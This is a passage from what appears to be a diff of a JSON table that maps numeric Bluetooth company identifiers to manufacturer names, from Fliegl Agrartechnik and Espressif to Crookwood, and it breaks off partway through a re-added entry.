- "729": "Fliegl Agrartechnik GmbH", - "730": "Gilvader", - "731": "Digi International Inc (R)", - "732": "DeWalch Technologies, Inc.", - "733": "Flint Rehabilitation Devices, LLC", - "734": "Samsung SDS Co., Ltd.", - "735": "Blur Product Development", - "736": "University of Michigan", - "737": "Victron Energy BV", - "738": "NTT docomo", - "739": "Carmanah Technologies Corp.", - "740": "Bytestorm Ltd.", - "741": "Espressif Incorporated ( () )", - "742": "Unwire", - "743": "Connected Yard, Inc.", - "744": "American Music Environments", - "745": "Sensogram Technologies, Inc.", - "746": "Fujitsu Limited", - "747": "Ardic Technology", - "748": "Delta Systems, Inc", - "749": "HTC Corporation", - "750": "Citizen Holdings Co., Ltd.", - "751": "SMART-INNOVATION.inc", - "752": "Blackrat Software", - "753": "The Idea Cave, LLC", - "754": "GoPro, Inc.", - "755": "AuthAir, Inc", - "756": "Vensi, Inc.", - "757": "Indagem Tech LLC", - "758": "Intemo Technologies", - "759": "DreamVisions co., Ltd.", - "760": "Runteq Oy Ltd", - "761": "IMAGINATION TECHNOLOGIES LTD", - "762": "CoSTAR TEchnologies", - "763": "Clarius Mobile Health Corp.", - "764": "Shanghai Frequen Microelectronics Co., Ltd.", - "765": "Uwanna, Inc.", - "766": "Lierda Science & Technology Group Co., Ltd.", - "767": "Silicon Laboratories", - "768": "World Moto Inc.", - "769": "Giatec Scientific Inc.", - "770": "Loop Devices, Inc", - "771": "IACA electronique", - "772": "Proxy Technologies, Inc.", - "773": "Swipp ApS", - "774": "Life Laboratory Inc.", - "775": "FUJI INDUSTRIAL CO.,LTD.", - "776": "Surefire, LLC", - "777": "Dolby Labs", - "778": "Ellisys", - "779": "Magnitude Lighting Converters", - "780": "Hilti AG", - "781": "Devdata S.r.l.", - "782": "Deviceworx", - "783": "Shortcut Labs", - "784": "SGL Italia S.r.l.", - "785": "PEEQ DATA", - "786": "Ducere Technologies Pvt Ltd", - "787": "DiveNav, Inc.", - "788": "RIIG AI Sp. z o.o.", - "789": "Thermo Fisher Scientific", - "790": "AG Measurematics Pvt. Ltd.", - "791": "CHUO Electronics CO., LTD.", - "792": "Aspenta International", - "793": "Eugster Frismag AG", - "794": "Amber wireless GmbH", - "795": "HQ Inc", - "796": "Lab Sensor Solutions", - "797": "Enterlab ApS", - "798": "Eyefi, Inc.", - "799": "MetaSystem S.p.A.", - "800": "SONO ELECTRONICS. CO., LTD", - "801": "Jewelbots", - "802": "Compumedics Limited", - "803": "Rotor Bike Components", - "804": "Astro, Inc.", - "805": "Amotus Solutions", - "806": "Healthwear Technologies (Changzhou)Ltd", - "807": "Essex Electronics", - "808": "Grundfos A/S", - "809": "Eargo, Inc.", - "810": "Electronic Design Lab", - "811": "ESYLUX", - "812": "NIPPON SMT.CO.,Ltd", - "813": "BM innovations GmbH", - "814": "indoormap", - "815": "OttoQ Inc", - "816": "North Pole Engineering", - "817": "3flares Technologies Inc.", - "818": "Electrocompaniet A.S.", - "819": "Mul-T-Lock", - "820": "Corentium AS", - "821": "Enlighted Inc", - "822": "GISTIC", - "823": "AJP2 Holdings, LLC", - "824": "COBI GmbH", - "825": "Blue Sky Scientific, LLC", - "826": "Appception, Inc.", - "827": "Courtney Thorne Limited", - "828": "Virtuosys", - "829": "TPV Technology Limited", - "830": "Monitra SA", - "831": "Automation Components, Inc.", - "832": "Letsense s.r.l.", - "833": "Etesian Technologies LLC", - "834": "GERTEC BRASIL LTDA.", - "835": "Drekker Development Pty. Ltd.", - "836": "Whirl Inc", - "837": "Locus Positioning", - "838": "Acuity Brands Lighting, Inc", - "839": "Prevent Biometrics", - "840": "Arioneo", - "841": "VersaMe", - "842": "Vaddio", - "843": "Libratone A/S", - "844": "HM Electronics, Inc.", - "845": "TASER International, Inc.", - "846": "SafeTrust Inc.", - "847": "Heartland Payment Systems", - "848": "Bitstrata Systems Inc.", - "849": "Pieps GmbH", - "850": "iRiding(Xiamen)Technology Co.,Ltd.", - "851": "Alpha Audiotronics, Inc.", - "852": "TOPPAN FORMS CO.,LTD.", - "853": "Sigma Designs, Inc.", - "854": "Spectrum Brands, Inc.", - "855": "Polymap Wireless", - "856": "MagniWare Ltd.", - "857": "Novotec Medical GmbH", - "858": "Medicom Innovation Partner a/s", - "859": "Matrix Inc.", - "860": "Eaton Corporation", - "861": "KYS", - "862": "Naya Health, Inc.", - "863": "Acromag", - "864": "Insulet Corporation", - "865": "Wellinks Inc.", - "866": "ON Semiconductor", - "867": "FREELAP SA", - "868": "Favero Electronics Srl", - "869": "BioMech Sensor LLC", - "870": "BOLTT Sports technologies Private limited", - "871": "Saphe International", - "872": "Metormote AB", - "873": "littleBits", - "874": "SetPoint Medical", - "875": "BRControls Products BV", - "876": "Zipcar", - "877": "AirBolt Pty Ltd", - "878": "KeepTruckin Inc", - "879": "Motiv, Inc.", - "880": "Wazombi Labs O", - "881": "ORBCOMM", - "882": "Nixie Labs, Inc.", - "883": "AppNearMe Ltd", - "884": "Holman Industries", - "885": "Expain AS", - "886": "Electronic Temperature Instruments Ltd", - "887": "Plejd AB", - "888": "Propeller Health", - "889": "Shenzhen iMCO Electronic Technology Co.,Ltd", - "890": "Algoria", - "891": "Apption Labs Inc.", - "892": "Cronologics Corporation", - "893": "MICRODIA Ltd.", - "894": "lulabytes S.L.", - "895": "Nestec S.A.", - "896": "LLC \"MEGA-F service\"", - "897": "Sharp Corporation", - "898": "Precision Outcomes Ltd", - "899": "Kronos Incorporated", - "900": "OCOSMOS Co., Ltd.", - "901": "Embedded Electronic Solutions Ltd. dba e2Solutions", - "902": "Aterica Inc.", - "903": "BluStor PMC, Inc.", - "904": "Kapsch TrafficCom AB", - "905": "ActiveBlu Corporation", - "906": "Kohler Mira Limited", - "907": "Noke", - "908": "Appion Inc.", - "909": "Resmed Ltd", - "910": "Crownstone B.V.", - "911": "Xiaomi Inc.", - "912": "INFOTECH s.r.o.", - "913": "Thingsquare AB", - "914": "T&D", - "915": "LAVAZZA S.p.A.", - "916": "Netclearance Systems, Inc.", - "917": "SDATAWAY", - "918": "BLOKS GmbH", - "919": "LEGO System A/S", - "920": "Thetatronics Ltd", - "921": "Nikon Corporation", - "922": "NeST", - "923": "South Silicon Valley Microelectronics", - "924": "ALE International", - "925": "CareView Communications, Inc.", - "926": "SchoolBoard Limited", - "927": "Molex Corporation", - "928": "IVT Wireless Limited", - "929": "Alpine Labs LLC", - "930": "Candura Instruments", - "931": "SmartMovt Technology Co., Ltd", - "932": "Token Zero Ltd", - "933": "ACE CAD Enterprise Co., Ltd. (ACECAD)", - "934": "Medela, Inc", - "935": "AeroScout", - "936": "Esrille Inc.", - "937": "THINKERLY SRL", - "938": "Exon Sp. z o.o.", - "939": "Meizu Technology Co., Ltd.", - "940": "Smablo LTD", - "941": "XiQ", - "942": "Allswell Inc.", - "943": "Comm-N-Sense Corp DBA Verigo", - "944": "VIBRADORM GmbH", - "945": "Otodata Wireless Network Inc.", - "946": "Propagation Systems Limited", - "947": "Midwest Instruments & Controls", - "948": "Alpha Nodus, inc.", - "949": "petPOMM, Inc", - "950": "Mattel", - "951": "Airbly Inc.", - "952": "A-Safe Limited", - "953": "FREDERIQUE CONSTANT SA", - "954": "Maxscend Microelectronics Company Limited", - "955": "Abbott Diabetes Care", - "956": "ASB Bank Ltd", - "957": "amadas", - "958": "Applied Science, Inc.", - "959": "iLumi Solutions Inc.", - "960": "Arch Systems Inc.", - "961": "Ember Technologies, Inc.", - "962": "Snapchat Inc", - "963": "Casambi Technologies Oy", - "964": "Pico Technology Inc.", - "965": "St. Jude Medical, Inc.", - "966": "Intricon", - "967": "Structural Health Systems, Inc.", - "968": "Avvel International", - "969": "Gallagher Group", - "970": "In2things Automation Pvt. Ltd.", - "971": "SYSDEV Srl", - "972": "Vonkil Technologies Ltd", - "973": "Wynd Technologies, Inc.", - "974": "CONTRINEX S.A.", - "975": "MIRA, Inc.", - "976": "Watteam Ltd", - "977": "Density Inc.", - "978": "IOT Pot India Private Limited", - "979": "Sigma Connectivity AB", - "980": "PEG PEREGO SPA", - "981": "Wyzelink Systems Inc.", - "982": "Yota Devices LTD", - "983": "FINSECUR", - "984": "Zen-Me Labs Ltd", - "985": "3IWare Co., Ltd.", - "986": "EnOcean GmbH", - "987": "Instabeat, Inc", - "988": "Nima Labs", - "989": "Andreas Stihl AG & Co. KG", - "990": "Nathan Rhoades LLC", - "991": "Grob Technologies, LLC", - "992": "Actions (Zhuhai) Technology Co., Limited", - "993": "SPD Development Company Ltd", - "994": "Sensoan Oy", - "995": "Qualcomm Life Inc", - "996": "Chip-ing AG", - "997": "ffly4u", - "998": "IoT Instruments Oy", - "999": "TRUE Fitness Technology", - "1000": "Reiner Kartengeraete GmbH & Co. KG.", - "1001": "SHENZHEN LEMONJOY TECHNOLOGY CO., LTD.", - "1002": "Hello Inc.", - "1003": "Evollve Inc.", - "1004": "Jigowatts Inc.", - "1005": "BASIC MICRO.COM,INC.", - "1006": "CUBE TECHNOLOGIES", - "1007": "foolography GmbH", - "1008": "CLINK", - "1009": "Hestan Smart Cooking Inc.", - "1010": "WindowMaster A/S", - "1011": "Flowscape AB", - "1012": "PAL Technologies Ltd", - "1013": "WHERE, Inc.", - "1014": "Iton Technology Corp.", - "1015": "Owl Labs Inc.", - "1016": "Rockford Corp.", - "1017": "Becon Technologies Co.,Ltd.", - "1018": "Vyassoft Technologies Inc", - "1019": "Nox Medical", - "1020": "Kimberly-Clark", - "1021": "Trimble Navigation Ltd.", - "1022": "Littelfuse", - "1023": "Withings", - "1024": "i-developer IT Beratung UG", - "1025": "", - "1026": "Sears Holdings Corporation", - "1027": "Gantner Electronic GmbH", - "1028": "Authomate Inc", - "1029": "Vertex International, Inc.", - "1030": "Airtago", - "1031": "Swiss Audio SA", - "1032": "ToGetHome Inc.", - "1033": "AXIS", - "1034": "Openmatics", - "1035": "Jana Care Inc.", - "1036": "Senix Corporation", - "1037": "NorthStar Battery Company, LLC", - "1038": "SKF (U.K.) Limited", - "1039": "CO-AX Technology, Inc.", - "1040": "Fender Musical Instruments", - "1041": "Luidia Inc", - "1042": "SEFAM", - "1043": "Wireless Cables Inc", - "1044": "Lightning Protection International Pty Ltd", - "1045": "Uber Technologies Inc", - "1046": "SODA GmbH", - "1047": "Fatigue Science", - "1048": "Alpine Electronics Inc.", - "1049": "Novalogy LTD", - "1050": "Friday Labs Limited", - "1051": "OrthoAccel Technologies", - "1052": "WaterGuru, Inc.", - "1053": "Benning Elektrotechnik und Elektronik GmbH & Co. KG", - "1054": "Dell Computer Corporation", - "1055": "Kopin Corporation", - "1056": "TecBakery GmbH", - "1057": "Backbone Labs, Inc.", - "1058": "DELSEY SA", - "1059": "Chargifi Limited", - "1060": "Trainesense Ltd.", - "1061": "Unify Software and Solutions GmbH & Co. KG", - "1062": "Husqvarna AB", - "1063": "Focus fleet and fuel management inc", - "1064": "SmallLoop, LLC", - "1065": "Prolon Inc.", - "1066": "BD Medical", - "1067": "iMicroMed Incorporated", - "1068": "Ticto N.V.", - "1069": "Meshtech AS", - "1070": "MemCachier Inc.", - "1071": "Danfoss A/S", - "1072": "SnapStyk Inc.", - "1073": "Amway Corporation", - "1074": "Silk Labs, Inc.", - "1075": "Pillsy Inc.", - "1076": "Hatch Baby, Inc.", - "1077": "Blocks Wearables Ltd.", - "1078": "Drayson Technologies (Europe) Limited", - "1079": "eBest IOT Inc.", - "1080": "Helvar Ltd", - "1081": "Radiance Technologies", - "1082": "Nuheara Limited", - "1083": "Appside co., ltd.", - "1084": "DeLaval", - "1085": "Coiler Corporation", - "1086": "Thermomedics, Inc.", - "1087": "Tentacle Sync GmbH", - "1088": "Valencell, Inc.", - "1089": "iProtoXi Oy", - "1090": "SECOM CO., LTD.", - "1091": "Tucker International LLC", - "1092": "Metanate Limited", - "1093": "Kobian Canada Inc.", - "1094": "NETGEAR, Inc.", - "1095": "Fabtronics Australia Pty Ltd", - "1096": "Grand Centrix GmbH", - "1097": "1UP USA.com llc", - "1098": "SHIMANO INC.", - "1099": "Nain Inc.", - "1100": "LifeStyle Lock, LLC", - "1101": "VEGA Grieshaber KG", - "1102": "Xtrava Inc.", - "1103": "TTS Tooltechnic Systems AG & Co. KG", - "1104": "Teenage Engineering AB", - "1105": "Tunstall Nordic AB", - "1106": "Svep Design Center AB", - "1107": "GreenPeak Technologies BV", - "1108": "Sphinx Electronics GmbH & Co KG", - "1109": "Atomation", - "1110": "Nemik Consulting Inc", - "1111": "RF INNOVATION", - "1112": "Mini Solution Co., Ltd.", - "1113": "Lumenetix, Inc", - "1114": "2048450 Ontario Inc", - "1115": "SPACEEK LTD", - "1116": "Delta T Corporation", - "1117": "Boston Scientific Corporation", - "1118": "Nuviz, Inc.", - "1119": "Real Time Automation, Inc.", - "1120": "Kolibree", - "1121": "vhf elektronik GmbH", - "1122": "Bonsai Systems GmbH", - "1123": "Fathom Systems Inc.", - "1124": "Bellman & Symfon", - "1125": "International Forte Group LLC", - "1126": "CycleLabs Solutions inc.", - "1127": "Codenex Oy", - "1128": "Kynesim Ltd", - "1129": "Palago AB", - "1130": "INSIGMA INC.", - "1131": "PMD Solutions", - "1132": "Qingdao Realtime Technology Co., Ltd.", - "1133": "BEGA Gantenbrink-Leuchten KG", - "1134": "Pambor Ltd.", - "1135": "Develco Products A/S", - "1136": "iDesign s.r.l.", - "1137": "TiVo Corp", - "1138": "Control-J Pty Ltd", - "1139": "Steelcase, Inc.", - "1140": "iApartment co., ltd.", - "1141": "Icom inc.", - "1142": "Oxstren Wearable Technologies Private Limited", - "1143": "Blue Spark Technologies", - "1144": "FarSite Communications Limited", - "1145": "mywerk system GmbH", - "1146": "Sinosun Technology Co., Ltd.", - "1147": "MIYOSHI ELECTRONICS CORPORATION", - "1148": "POWERMAT LTD", - "1149": "Occly LLC", - "1150": "OurHub Dev IvS", - "1151": "Pro-Mark, Inc.", - "1152": "Dynometrics Inc.", - "1153": "Quintrax Limited", - "1154": "POS Tuning Udo Vosshenrich GmbH & Co. KG", - "1155": "Multi Care Systems B.V.", - "1156": "Revol Technologies Inc", - "1157": "SKIDATA AG", - "1158": "DEV TECNOLOGIA INDUSTRIA, COMERCIO E MANUTENCAO DE EQUIPAMENTOS LTDA. - ME", - "1159": "Centrica Connected Home", - "1160": "Automotive Data Solutions Inc", - "1161": "Igarashi Engineering", - "1162": "Taelek Oy", - "1163": "CP Electronics Limited", - "1164": "Vectronix AG", - "1165": "S-Labs Sp. z o.o.", - "1166": "Companion Medical, Inc.", - "1167": "BlueKitchen GmbH", - "1168": "Matting AB", - "1169": "SOREX - Wireless Solutions GmbH", - "1170": "ADC Technology, Inc.", - "1171": "Lynxemi Pte Ltd", - "1172": "SENNHEISER electronic GmbH & Co. KG", - "1173": "LMT Mercer Group, Inc", - "1174": "Polymorphic Labs LLC", - "1175": "Cochlear Limited", - "1176": "METER Group, Inc. USA", - "1177": "Ruuvi Innovations Ltd.", - "1178": "Situne AS", - "1179": "nVisti, LLC", - "1180": "DyOcean", - "1181": "Uhlmann & Zacher GmbH", - "1182": "AND!XOR LLC", - "1183": "tictote AB", - "1184": "Vypin, LLC", - "1185": "PNI Sensor Corporation", - "1186": "ovrEngineered, LLC", - "1187": "GT-tronics HK Ltd", - "1188": "Herbert Waldmann GmbH & Co. KG", - "1189": "Guangzhou FiiO Electronics Technology Co.,Ltd", - "1190": "Vinetech Co., Ltd", - "1191": "Dallas Logic Corporation", - "1192": "BioTex, Inc.", - "1193": "DISCOVERY SOUND TECHNOLOGY, LLC", - "1194": "LINKIO SAS", - "1195": "Harbortronics, Inc.", - "1196": "Undagrid B.V.", - "1197": "Shure Inc", - "1198": "ERM Electronic Systems LTD", - "1199": "BIOROWER Handelsagentur GmbH", - "1200": "Weba Sport und Med. Artikel GmbH", - "1201": "Kartographers Technologies Pvt. Ltd.", - "1202": "The Shadow on the Moon", - "1203": "mobike (Hong Kong) Limited", - "1204": "Inuheat Group AB", - "1205": "Swiftronix AB", - "1206": "Diagnoptics Technologies", - "1207": "Analog Devices, Inc.", - "1208": "Soraa Inc.", - "1209": "CSR Building Products Limited", - "1210": "Crestron Electronics, Inc.", - "1211": "Neatebox Ltd", - "1212": "Draegerwerk AG & Co. KGaA", - "1213": "AlbynMedical", - "1214": "Averos FZCO", - "1215": "VIT Initiative, LLC", - "1216": "Statsports International", - "1217": "Sospitas, s.r.o.", - "1218": "Dmet Products Corp.", - "1219": "Mantracourt Electronics Limited", - "1220": "TeAM Hutchins AB", - "1221": "Seibert Williams Glass, LLC", - "1222": "Insta GmbH", - "1223": "Svantek Sp. z o.o.", - "1224": "Shanghai Flyco Electrical Appliance Co., Ltd.", - "1225": "Thornwave Labs Inc", - "1226": "Steiner-Optik GmbH", - "1227": "Novo Nordisk A/S", - "1228": "Enflux Inc.", - "1229": "Safetech Products LLC", - "1230": "GOOOLED S.R.L.", - "1231": "DOM Sicherheitstechnik GmbH & Co. KG", - "1232": "Olympus Corporation", - "1233": "KTS GmbH", - "1234": "Anloq Technologies Inc.", - "1235": "Queercon, Inc", - "1236": "5th Element Ltd", - "1237": "Gooee Limited", - "1238": "LUGLOC LLC", - "1239": "Blincam, Inc.", - "1240": "FUJIFILM Corporation", - "1241": "RandMcNally", - "1242": "Franceschi Marina snc", - "1243": "Engineered Audio, LLC.", - "1244": "IOTTIVE (OPC) PRIVATE LIMITED", - "1245": "4MOD Technology", - "1246": "Lutron Electronics Co., Inc.", - "1247": "Emerson", - "1248": "Guardtec, Inc.", - "1249": "REACTEC LIMITED", - "1250": "EllieGrid", - "1251": "Under Armour", - "1252": "Woodenshark", - "1253": "Avack Oy", - "1254": "Smart Solution Technology, Inc.", - "1255": "REHABTRONICS INC.", - "1256": "STABILO International", - "1257": "Busch Jaeger Elektro GmbH", - "1258": "Pacific Bioscience Laboratories, Inc", - "1259": "Bird Home Automation GmbH", - "1260": "Motorola Solutions", - "1261": "R9 Technology, Inc.", - "1262": "Auxivia", - "1263": "DaisyWorks, Inc", - "1264": "Kosi Limited", - "1265": "Theben AG", - "1266": "InDreamer Techsol Private Limited", - "1267": "Cerevast Medical", - "1268": "ZanCompute Inc.", - "1269": "Pirelli Tyre S.P.A.", - "1270": "McLear Limited", - "1271": "Shenzhen Huiding Technology Co.,Ltd.", - "1272": "Convergence Systems Limited", - "1273": "Interactio", - "1274": "Androtec GmbH", - "1275": "Benchmark Drives GmbH & Co. KG", - "1276": "SwingLync L. L. C.", - "1277": "Tapkey GmbH", - "1278": "Woosim Systems Inc.", - "1279": "Microsemi Corporation", - "1280": "Wiliot LTD.", - "1281": "Polaris IND", - "1282": "Specifi-Kali LLC", - "1283": "Locoroll, Inc", - "1284": "PHYPLUS Inc", - "1285": "Inplay Technologies LLC", - "1286": "Hager", - "1287": "Yellowcog", - "1288": "Axes System sp. z o. o.", - "1289": "myLIFTER Inc.", - "1290": "Shake-on B.V.", - "1291": "Vibrissa Inc.", - "1292": "OSRAM GmbH", - "1293": "TRSystems GmbH", - "1294": "Yichip Microelectronics (Hangzhou) Co.,Ltd.", - "1295": "Foundation Engineering LLC", - "1296": "UNI-ELECTRONICS, INC.", - "1297": "Brookfield Equinox LLC", - "1298": "Soprod SA", - "1299": "9974091 Canada Inc.", - "1300": "FIBRO GmbH", - "1301": "RB Controls Co., Ltd.", - "1302": "Footmarks", - "1303": "Amcore AB", - "1304": "MAMORIO.inc", - "1305": "Tyto Life LLC", - "1306": "Leica Camera AG", - "1307": "Angee Technologies Ltd.", - "1308": "EDPS", - "1309": "OFF Line Co., Ltd.", - "1310": "Detect Blue Limited", - "1311": "Setec Pty Ltd", - "1312": "Target Corporation", - "1313": "IAI Corporation", - "1314": "NS Tech, Inc.", - "1315": "MTG Co., Ltd.", - "1316": "Hangzhou iMagic Technology Co., Ltd", - "1317": "HONGKONG NANO IC TECHNOLOGIES CO., LIMITED", - "1318": "Honeywell International Inc.", - "1319": "Albrecht JUNG", - "1320": "Lunera Lighting Inc.", - "1321": "Lumen UAB", - "1322": "Keynes Controls Ltd", - "1323": "Novartis AG", - "1324": "Geosatis SA", - "1325": "EXFO, Inc.", - "1326": "LEDVANCE GmbH", - "1327": "Center ID Corp.", - "1328": "Adolene, Inc.", - "1329": "D&M Holdings Inc.", - "1330": "CRESCO Wireless, Inc.", - "1331": "Nura Operations Pty Ltd", - "1332": "Frontiergadget, Inc.", - "1333": "Smart Component Technologies Limited", - "1334": "ZTR Control Systems LLC", - "1335": "MetaLogics Corporation", - "1336": "Medela AG", - "1337": "OPPLE Lighting Co., Ltd", - "1338": "Savitech Corp.,", - "1339": "prodigy", - "1340": "Screenovate Technologies Ltd", - "1341": "TESA SA", - "1342": "CLIM8 LIMITED", - "1343": "Silergy Corp", - "1344": "SilverPlus, Inc", - "1345": "Sharknet srl", - "1346": "Mist Systems, Inc.", - "1347": "MIWA LOCK CO.,Ltd", - "1348": "OrthoSensor, Inc.", - "1349": "Candy Hoover Group s.r.l", - "1350": "Apexar Technologies S.A.", - "1351": "LOGICDATA d.o.o.", - "1352": "Knick Elektronische Messgeraete GmbH & Co. KG", - "1353": "Smart Technologies and Investment Limited", - "1354": "Linough Inc.", - "1355": "Advanced Electronic Designs, Inc.", - "1356": "Carefree Scott Fetzer Co Inc", - "1357": "Sensome", - "1358": "FORTRONIK storitve d.o.o.", - "1359": "Sinnoz", - "1360": "Versa Networks, Inc.", - "1361": "Sylero", - "1362": "Avempace SARL", - "1363": "Nintendo Co., Ltd.", - "1364": "National Instruments", - "1365": "KROHNE Messtechnik GmbH", - "1366": "Otodynamics Ltd", - "1367": "Arwin Technology Limited", - "1368": "benegear, inc.", - "1369": "Newcon Optik", - "1370": "CANDY HOUSE, Inc.", - "1371": "FRANKLIN TECHNOLOGY INC", - "1372": "Lely", - "1373": "Valve Corporation", - "1374": "Hekatron Vertriebs GmbH", - "1375": "PROTECH S.A.S. DI GIRARDI ANDREA & C.", - "1376": "Sarita CareTech IVS", - "1377": "Finder S.p.A.", - "1378": "Thalmic Labs Inc.", - "1379": "Steinel Vertrieb GmbH", - "1380": "Beghelli Spa", - "1381": "Beijing Smartspace Technologies Inc.", - "1382": "CORE TRANSPORT TECHNOLOGIES NZ LIMITED", - "1383": "Xiamen Everesports Goods Co., Ltd", - "1384": "Bodyport Inc.", - "1385": "Audionics System, INC.", - "1386": "Flipnavi Co.,Ltd.", - "1387": "Rion Co., Ltd.", - "1388": "Long Range Systems, LLC", - "1389": "Redmond Industrial Group LLC", - "1390": "VIZPIN INC.", - "1391": "BikeFinder AS", - "1392": "Consumer Sleep Solutions LLC", - "1393": "PSIKICK, INC.", - "1394": "AntTail.com", - "1395": "Lighting Science Group Corp.", - "1396": "AFFORDABLE ELECTRONICS INC", - "1397": "Integral Memroy Plc", - "1398": "Globalstar, Inc.", - "1399": "True Wearables, Inc.", - "1400": "Wellington Drive Technologies Ltd", - "1401": "Ensemble Tech Private Limited", - "1402": "OMNI Remotes", - "1403": "Duracell U.S. Operations Inc.", - "1404": "Toor Technologies LLC", - "1405": "Instinct Performance", - "1406": "Beco, Inc", - "1407": "Scuf Gaming International, LLC", - "1408": "ARANZ Medical Limited", - "1409": "LYS TECHNOLOGIES LTD", - "1410": "Breakwall Analytics, LLC", - "1411": "Code Blue Communications", - "1412": "Gira Giersiepen GmbH & Co. KG", - "1413": "Hearing Lab Technology", - "1414": "LEGRAND", - "1415": "Derichs GmbH", - "1416": "ALT-TEKNIK LLC", - "1417": "Star Technologies", - "1418": "START TODAY CO.,LTD.", - "1419": "Maxim Integrated Products", - "1420": "MERCK Kommanditgesellschaft auf Aktien", - "1421": "Jungheinrich Aktiengesellschaft", - "1422": "Oculus VR, LLC", - "1423": "HENDON SEMICONDUCTORS PTY LTD", - "1424": "Pur3 Ltd", - "1425": "Viasat Group S.p.A.", - "1426": "IZITHERM", - "1427": "Spaulding Clinical Research", - "1428": "Kohler Company", - "1429": "Inor Process AB", - "1430": "My Smart Blinds", - "1431": "RadioPulse Inc", - "1432": "rapitag GmbH", - "1433": "Lazlo326, LLC.", - "1434": "Teledyne Lecroy, Inc.", - "1435": "Dataflow Systems Limited", - "1436": "Macrogiga Electronics", - "1437": "Tandem Diabetes Care", - "1438": "Polycom, Inc.", - "1439": "Fisher & Paykel Healthcare", - "1440": "RCP Software Oy", - "1441": "Shanghai Xiaoyi Technology Co.,Ltd.", - "1442": "ADHERIUM(NZ) LIMITED", - "1443": "Axiomware Systems Incorporated", - "1444": "O. E. M. Controls, Inc.", - "1445": "Kiiroo BV", - "1446": "Telecon Mobile Limited", - "1447": "Sonos Inc", - "1448": "Tom Allebrandi Consulting", - "1449": "Monidor", - "1450": "Tramex Limited", - "1451": "Nofence AS", - "1452": "GoerTek Dynaudio Co., Ltd.", - "1453": "INIA", - "1454": "CARMATE MFG.CO.,LTD", - "1455": "ONvocal", - "1456": "NewTec GmbH", - "1457": "Medallion Instrumentation Systems", - "1458": "CAREL INDUSTRIES S.P.A.", - "1459": "Parabit Systems, Inc.", - "1460": "White Horse Scientific ltd", - "1461": "verisilicon", - "1462": "Elecs Industry Co.,Ltd.", - "1463": "Beijing Pinecone Electronics Co.,Ltd.", - "1464": "Ambystoma Labs Inc.", - "1465": "Suzhou Pairlink Network Technology", - "1466": "igloohome", - "1467": "Oxford Metrics plc", - "1468": "Leviton Mfg. Co., Inc.", - "1469": "ULC Robotics Inc.", - "1470": "RFID Global by Softwork SrL", - "1471": "Real-World-Systems Corporation", - "1472": "Nalu Medical, Inc.", - "1473": "P.I.Engineering", - "1474": "Grote Industries", - "1475": "Runtime, Inc.", - "1476": "Codecoup sp. z o.o. sp. k.", - "1477": "SELVE GmbH & Co. KG", - "1478": "Smart Animal Training Systems, LLC", - "1479": "Lippert Components, INC", - "1480": "SOMFY SAS", - "1481": "TBS Electronics B.V.", - "1482": "MHL Custom Inc", - "1483": "LucentWear LLC", - "1484": "WATTS ELECTRONICS", - "1485": "RJ Brands LLC", - "1486": "V-ZUG Ltd", - "1487": "Biowatch SA", - "1488": "Anova Applied Electronics", - "1489": "Lindab AB", - "1490": "frogblue TECHNOLOGY GmbH", - "1491": "Acurable Limited", - "1492": "LAMPLIGHT Co., Ltd.", - "1493": "TEGAM, Inc.", - "1494": "Zhuhai Jieli technology Co.,Ltd", - "1495": "modum.io AG", - "1496": "Farm Jenny LLC", - "1497": "Toyo Electronics Corporation", - "1498": "Applied Neural Research Corp", - "1499": "Avid Identification Systems, Inc.", - "1500": "Petronics Inc.", - "1501": "essentim GmbH", - "1502": "QT Medical INC.", - "1503": "VIRTUALCLINIC.DIRECT LIMITED", - "1504": "Viper Design LLC", - "1505": "Human, Incorporated", - "1506": "stAPPtronics GmbH", - "1507": "Elemental Machines, Inc.", - "1508": "Taiyo Yuden Co., Ltd", - "1509": "INEO ENERGY& SYSTEMS", - "1510": "Motion Instruments Inc.", - "1511": "PressurePro", - "1512": "COWBOY", - "1513": "iconmobile GmbH", - "1514": "ACS-Control-System GmbH", - "1515": "Bayerische Motoren Werke AG", - "1516": "Gycom Svenska AB", - "1517": "Fuji Xerox Co., Ltd", - "1518": "Glide Inc.", - "1519": "SIKOM AS", - "1520": "beken", - "1521": "The Linux Foundation", - "1522": "Try and E CO.,LTD.", - "1523": "SeeScan", - "1524": "Clearity, LLC", - "1525": "GS TAG", - "1526": "DPTechnics", - "1527": "TRACMO, INC.", - "1528": "Anki Inc.", - "1529": "Hagleitner Hygiene International GmbH", - "1530": "Konami Sports Life Co., Ltd.", - "1531": "Arblet Inc.", - "1532": "Masbando GmbH", - "1533": "Innoseis", - "1534": "Niko", - "1535": "Wellnomics Ltd", - "1536": "iRobot Corporation", - "1537": "Schrader Electronics", - "1538": "Geberit International AG", - "1539": "Fourth Evolution Inc", - "1540": "Cell2Jack LLC", - "1541": "FMW electronic Futterer u. Maier-Wolf OHG", - "1542": "John Deere", - "1543": "Rookery Technology Ltd", - "1544": "KeySafe-Cloud", - "1545": "BUCHI Labortechnik AG", - "1546": "IQAir AG", - "1547": "Triax Technologies Inc", - "1548": "Vuzix Corporation", - "1549": "TDK Corporation", - "1550": "Blueair AB", - "1551": "Philips Lighting B.V.", - "1552": "ADH GUARDIAN USA LLC", - "1553": "Beurer GmbH", - "1554": "Playfinity AS", - "1555": "Hans Dinslage GmbH", - "1556": "OnAsset Intelligence, Inc.", - "1557": "INTER ACTION Corporation", - "1558": "OS42 UG (haftungsbeschraenkt)", - "1559": "WIZCONNECTED COMPANY LIMITED", - "1560": "Audio-Technica Corporation", - "1561": "Six Guys Labs, s.r.o.", - "1562": "R.W. Beckett Corporation", - "1563": "silex technology, inc.", - "1564": "Univations Limited", - "1565": "SENS Innovation ApS", - "1566": "Diamond Kinetics, Inc.", - "1567": "Phrame Inc.", - "1568": "Forciot Oy", - "1569": "Noordung d.o.o.", - "1570": "Beam Labs, LLC", - "1571": "Philadelphia Scientific (U.K.) Limited", - "1572": "Biovotion AG", - "1573": "Square Panda, Inc.", - "1574": "Amplifico", - "1575": "WEG S.A.", - "1576": "Ensto Oy", - "1577": "PHONEPE PVT LTD", - "1578": "Lunatico Astronomia SL", - "1579": "MinebeaMitsumi Inc.", - "1580": "ASPion GmbH", - "1581": "Vossloh-Schwabe Deutschland GmbH", - "1582": "Procept", - "1583": "ONKYO Corporation", - "1584": "Asthrea D.O.O.", - "1585": "Fortiori Design LLC", - "1586": "Hugo Muller GmbH & Co KG", - "1587": "Wangi Lai PLT", - "1588": "Fanstel Corp", - "1589": "Crookwood" + "0": "Ericsson Technology Licensing", + "1": "Nokia Mobile Phones", + "2": "Intel Corp.", + "3": "IBM Corp.", + "4": "Toshiba Corp.", + "5": "3Com", + "6": "Microsoft", + "7": "Lucent", + "8": "Motorola", + "9": "Infineon Technologies AG", + "10": "Qualcomm Technologies 